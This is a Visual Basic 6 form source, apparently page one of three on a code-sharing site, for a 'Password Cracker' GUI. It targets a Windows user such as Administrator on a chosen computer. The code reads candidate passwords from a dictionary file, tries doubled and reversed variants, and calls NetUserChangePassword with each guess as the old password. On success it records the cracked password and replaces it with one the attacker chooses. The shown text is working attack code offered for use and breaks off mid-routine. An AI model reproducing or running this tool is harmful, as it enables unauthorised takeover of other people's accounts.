frmpasscrack.frm

来自「全面网络扫描器VB源代码 很实用」· FRM 代码 · 共 914 行 · 第 1/3 页

FRM
914 行
字号
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Begin VB.Form frmpasscrack 
   BackColor       =   &H00000000&
   Caption         =   "Password Cracker - Copyright 2005  The Crackers Group Inc"
   ClientHeight    =   8190
   ClientLeft      =   60
   ClientTop       =   750
   ClientWidth     =   11880
   ClipControls    =   0   'False
   ControlBox      =   0   'False
   Icon            =   "frmpasscrack.frx":0000
   LinkTopic       =   "Form1"
   MDIChild        =   -1  'True
   ScaleHeight     =   8190
   ScaleWidth      =   11880
   WindowState     =   2  'Maximized
   Begin VB.ListBox List2 
      Height          =   2760
      Left            =   9720
      Sorted          =   -1  'True
      TabIndex        =   15
      Top             =   2880
      Width           =   1815
   End
   Begin VB.TextBox txtnowtest 
      Enabled         =   0   'False
      Height          =   285
      Left            =   5880
      TabIndex        =   14
      Top             =   1680
      Width           =   5655
   End
   Begin VB.CommandButton cmdcrack 
      BackColor       =   &H00FFFFFF&
      Caption         =   "Start Cracking"
      BeginProperty Font 
         Name            =   "Comic Sans MS"
         Size            =   12
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   360
      Style           =   1  'Graphical
      TabIndex        =   11
      Top             =   1560
      Width           =   2055
   End
   Begin VB.OptionButton Option1 
      BackColor       =   &H00FFFFFF&
      Caption         =   "BruteForce Attack"
      Enabled         =   0   'False
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   9
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Index           =   2
      Left            =   8040
      TabIndex        =   10
      Top             =   120
      Width           =   1935
   End
   Begin VB.OptionButton Option1 
      BackColor       =   &H00FFFFFF&
      Caption         =   "Hybrid Attack"
      Enabled         =   0   'False
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Index           =   1
      Left            =   4440
      TabIndex        =   9
      Top             =   120
      Width           =   1935
   End
   Begin VB.OptionButton Option1 
      BackColor       =   &H00FFFFFF&
      Caption         =   "Directory Attack"
      Enabled         =   0   'False
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Index           =   0
      Left            =   360
      TabIndex        =   8
      Top             =   120
      Width           =   1935
   End
   Begin VB.TextBox txtnewpass 
      Height          =   285
      Left            =   9840
      TabIndex        =   7
      Text            =   "123"
      Top             =   840
      Width           =   1695
   End
   Begin VB.TextBox txtuser 
      Height          =   285
      Left            =   6000
      TabIndex        =   3
      Text            =   "Administrator"
      Top             =   840
      Width           =   1815
   End
   Begin VB.TextBox txtcomputername 
      Height          =   285
      Left            =   2160
      TabIndex        =   2
      Text            =   "127.0.0.1"
      Top             =   840
      Width           =   2055
   End
   Begin MSComDlg.CommonDialog cd1 
      Left            =   3360
      Top             =   4800
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.ListBox List1 
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   9.75
         Charset         =   178
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   4860
      ItemData        =   "frmpasscrack.frx":8046
      Left            =   360
      List            =   "frmpasscrack.frx":8048
      MultiSelect     =   2  'Extended
      TabIndex        =   0
      Top             =   2640
      Width           =   9015
   End
   Begin VB.Label Label5 
      BackColor       =   &H00FFFFFF&
      Caption         =   "Now Testing Password"
      Height          =   255
      Left            =   4080
      TabIndex        =   13
      Top             =   1680
      Width           =   1695
   End
   Begin VB.Label Label4 
      BackColor       =   &H00FFFFFF&
      Caption         =   "Result Of PASSWORD CRACKING"
      Height          =   255
      Left            =   360
      TabIndex        =   12
      Top             =   2280
      Width           =   2655
   End
   Begin VB.Label Label3 
      Caption         =   "Target New Password"
      Height          =   255
      Left            =   8040
      TabIndex        =   6
      Top             =   840
      Width           =   1695
   End
   Begin VB.Label Label2 
      Caption         =   "Target User Name"
      Height          =   255
      Left            =   4440
      TabIndex        =   5
      Top             =   840
      Width           =   1455
   End
   Begin VB.Label Label1 
      Caption         =   "Target Computer Name"
      Height          =   255
      Left            =   360
      TabIndex        =   4
      Top             =   840
      Width           =   1695
   End
   Begin VB.Label lblmain 
      BackColor       =   &H80000009&
      Caption         =   "Goto Main --->"
      Height          =   255
      Left            =   10560
      TabIndex        =   1
      Top             =   240
      Width           =   1215
   End
   Begin VB.Menu flemenu 
      Caption         =   "&Options"
      Index           =   1
      Begin VB.Menu mnuoptn 
         Caption         =   "Options..."
      End
   End
End
Attribute VB_Name = "frmpasscrack"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
' by nima bagheri form  THECRACKERS_GROUP@yahoo.ca
'TEL 098-0151-2210510


Private Const ERROR_ACCESS_DENIED = 5&
Private Const ERROR_INVALID_PASSWORD = 86&
Private Const NERR_InvalidComputer = 2351
Private Const NERR_NotPrimary = 2226
Private Const NERR_UserNotFound = 2221
Private Const NERR_PasswordTooShort = 2245
Private Const ERROR_CANT_ACCESS_DOMAIN_INFO = 1351


Private Declare Function NetUserChangePassword _
 Lib "Netapi32.dll" (ComputerName As Any, User As Any, _
 OldPass As Any, NewPass As Any) As Long

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Private Sub cmdcrack_Click()

 If txtcomputername.Text = "" Then MsgBox "PLEASE ENTER COMPUTER NAME": Exit Sub
   If txtuser.Text = "" Then MsgBox "PLEASE ENTER USER NAME": Exit Sub
      If txtnewpass.Text = "" Then MsgBox "PLEASE ENTER NEW PASSWORD": Exit Sub
   
   ComputerName = txtcomputername.Text
   User = txtuser.Text
   NewPass = txtnewpass.Text
   
   'password crack begin
   
    'passopt dict
   If frmcrackopt.chkdien.value = 1 Then
        
        If frmcrackopt.txtbrows.Text <> "" Then
                  Dim d As String
                  filef = FreeFile
                  If frmcrackopt.txtbrows.Text = "Directory.txt" Then Open App.path + "\" + frmcrackopt.txtbrows.Text For Input Lock Read Write As #filef Else Open frmcrackopt.txtbrows.Text For Input Lock Read Write As #filef
                     
                     While EOF(filef) = False
                        
                           Input #filef, d
                           
                           If Len(d) < 1 Then GoTo lbl:
                           
                           'chek double
                           If frmcrackopt.Check1(0).value = 1 Then
                                    
                                    d0 = d + d
                                    c = ChangeUserPassword(ComputerName, User, d0, NewPass)
                           
                                       Select Case c
                                               Case "Error: Invalid password."
                                               Case "Error: Access denied.": MsgBox c: Close #filef: Exit Sub
                                               Case "Fehler: Invalid Computer-/Domainname.": MsgBox c: Close #filef: Exit Sub
                                               Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d0) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                               Case "Error: Unexpected Error " & r & " occured.": MsgBox c:   Exit Sub
                                       End Select
                           End If
                           
                           
                       'chek reserv
                          If frmcrackopt.Check1(1).value = 1 Then
                                  d1 = ""
                                  For s1 = Len(d) To 1 Step -1
                                    d1 = d1 + Mid(d, s1, 1)
                                  Next
                                    
                                    c = ChangeUserPassword(ComputerName, User, d1, NewPass)
                           
                                       Select Case c
                                               Case "Error: Invalid password."
                                               Case "Error: Access denied.": MsgBox c:  Exit Sub
                                               Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?